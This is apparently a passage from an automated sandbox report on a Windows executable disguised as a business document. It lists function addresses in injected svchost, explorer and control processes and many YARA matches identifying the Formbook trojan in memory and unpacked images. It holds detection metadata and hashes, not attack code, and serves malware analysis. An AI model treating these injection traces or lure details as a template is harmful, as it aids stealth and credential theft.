          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5A0362_2_03B5A036
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5B2322_2_03B5B232
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B510822_2_03B51082
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5E5CD2_2_03B5E5CD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B55B302_2_03B55B30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B55B322_2_03B55B32
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B589122_2_03B58912
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B52D022_2_03B52D02
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB82323_2_0EBB8232
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBAE0823_2_0EBAE082
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB70363_2_0EBB7036
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBBB5CD3_2_0EBBB5CD
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB2B323_2_0EBB2B32
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB2B303_2_0EBB2B30
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBB59123_2_0EBB5912
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBAFD023_2_0EBAFD02
          Source: C:\Windows\explorer.exeCode function: 3_2_0F432B323_2_0F432B32
          Source: C:\Windows\explorer.exeCode function: 3_2_0F432B303_2_0F432B30
          Source: C:\Windows\explorer.exeCode function: 3_2_0F4382323_2_0F438232
          Source: C:\Windows\explorer.exeCode function: 3_2_0F42FD023_2_0F42FD02
          Source: C:\Windows\explorer.exeCode function: 3_2_0F4359123_2_0F435912
          Source: C:\Windows\explorer.exeCode function: 3_2_0F43B5CD3_2_0F43B5CD
          Source: C:\Windows\explorer.exeCode function: 3_2_0F4370363_2_0F437036
          Source: C:\Windows\explorer.exeCode function: 3_2_0F42E0823_2_0F42E082
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C9764B4_2_00C9764B
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C9305C4_2_00C9305C
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C9978B4_2_00C9978B
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045324464_2_04532446
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0452E4F64_2_0452E4F6
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044805354_2_04480535
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045405914_2_04540591
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0449C6E04_2_0449C6E0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044A47504_2_044A4750
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044807704_2_04480770
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0447C7C04_2_0447C7C0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045120004_2_04512000
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045081584_2_04508158
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044701004_2_04470100
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0451A1184_2_0451A118
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045381CC4_2_045381CC
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045401AA4_2_045401AA
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045202744_2_04520274
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045002C04_2_045002C0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453A3524_2_0453A352
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045403E64_2_045403E6
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0448E3F04_2_0448E3F0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04480C004_2_04480C00
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04470CF24_2_04470CF2
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04520CB54_2_04520CB5
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0448AD004_2_0448AD00
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0451CD1F4_2_0451CD1F
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0447ADE04_2_0447ADE0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04498DBF4_2_04498DBF
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04480E594_2_04480E59
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453EE264_2_0453EE26
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453EEDB4_2_0453EEDB
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453CE934_2_0453CE93
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04492E904_2_04492E90
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044F4F404_2_044F4F40
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044C2F284_2_044C2F28
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044A0F304_2_044A0F30
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04472FC84_2_04472FC8
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0448CFE04_2_0448CFE0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044FEFA04_2_044FEFA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0448A8404_2_0448A840
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044828404_2_04482840
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044AE8F04_2_044AE8F0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044668B84_2_044668B8
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044969624_2_04496962
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044829A04_2_044829A0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0454A9A64_2_0454A9A6
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0447EA804_2_0447EA80
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453AB404_2_0453AB40
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04536BD74_2_04536BD7
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044714604_2_04471460
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453F43F4_2_0453F43F
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045375714_2_04537571
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0451D5B04_2_0451D5B0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045316CC4_2_045316CC
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453F7B04_2_0453F7B0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044870C04_2_044870C0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0452F0CC4_2_0452F0CC
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453F0E04_2_0453F0E0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045370E94_2_045370E9
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044B516C4_2_044B516C
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0446F1724_2_0446F172
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0454B16B4_2_0454B16B
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0448B1B04_2_0448B1B0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0449B2C04_2_0449B2C0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045212ED4_2_045212ED
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044852A04_2_044852A0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0446D34C4_2_0446D34C
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453132D4_2_0453132D
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044C739A4_2_044C739A
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044F9C324_2_044F9C32
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453FCF24_2_0453FCF2
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04483D404_2_04483D40
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04531D5A4_2_04531D5A
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04537D734_2_04537D73
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0449FDC04_2_0449FDC0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04489EB04_2_04489EB0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453FF094_2_0453FF09
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04481F924_2_04481F92
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453FFB14_2_0453FFB1
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044ED8004_2_044ED800
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044838E04_2_044838E0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044899504_2_04489950
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0449B9504_2_0449B950
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_045159104_2_04515910
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04537A464_2_04537A46
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453FA494_2_0453FA49
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044F3A6C4_2_044F3A6C
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0452DAC64_2_0452DAC6
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044C5AA04_2_044C5AA0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04521AA34_2_04521AA3
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0451DAAC4_2_0451DAAC
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0453FB764_2_0453FB76
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044BDBF94_2_044BDBF9
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044F5BF04_2_044F5BF0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0449FB804_2_0449FB80
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BE28D4_2_001BE28D
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BE57F4_2_001BE57F
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BD7704_2_001BD770
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BDB1D4_2_001BDB1D
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BDC794_2_001BDC79
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001A2D904_2_001A2D90
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001A2D884_2_001A2D88
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BDDB74_2_001BDDB7
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001A9E504_2_001A9E50
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001A9E4B4_2_001A9E4B
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001A2FB04_2_001A2FB0
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0417A0364_2_0417A036
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04172D024_2_04172D02
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0417E5CD4_2_0417E5CD
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_041710824_2_04171082
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_041789124_2_04178912
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_0417B2324_2_0417B232
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04175B324_2_04175B32
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_04175B304_2_04175B30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036AEA12 appears 86 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03675130 appears 58 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036BF290 appears 105 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0362B970 appears 277 times
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03687E54 appears 111 times
          Source: C:\Windows\SysWOW64\control.exeCode function: String function: 0446B970 appears 272 times
          Source: C:\Windows\SysWOW64\control.exeCode function: String function: 044EEA12 appears 86 times
          Source: C:\Windows\SysWOW64\control.exeCode function: String function: 044C7E54 appears 101 times
          Source: C:\Windows\SysWOW64\control.exeCode function: String function: 044FF290 appears 105 times
          Source: C:\Windows\SysWOW64\control.exeCode function: String function: 044B5130 appears 58 times
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: String function: 00DA8B40 appears 42 times
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: String function: 00DA0D27 appears 70 times
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: String function: 00D87F41 appears 35 times
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1363491368.00000000042B3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 2024 Lusail Fence-WITH STICKER-2-003.exe
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1363605464.000000000445D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 2024 Lusail Fence-WITH STICKER-2-003.exe
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000003.00000002.3822306235.000000000EBD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: 2024 Lusail Fence-WITH STICKER-2-003.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: svchost.exe PID: 7624, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
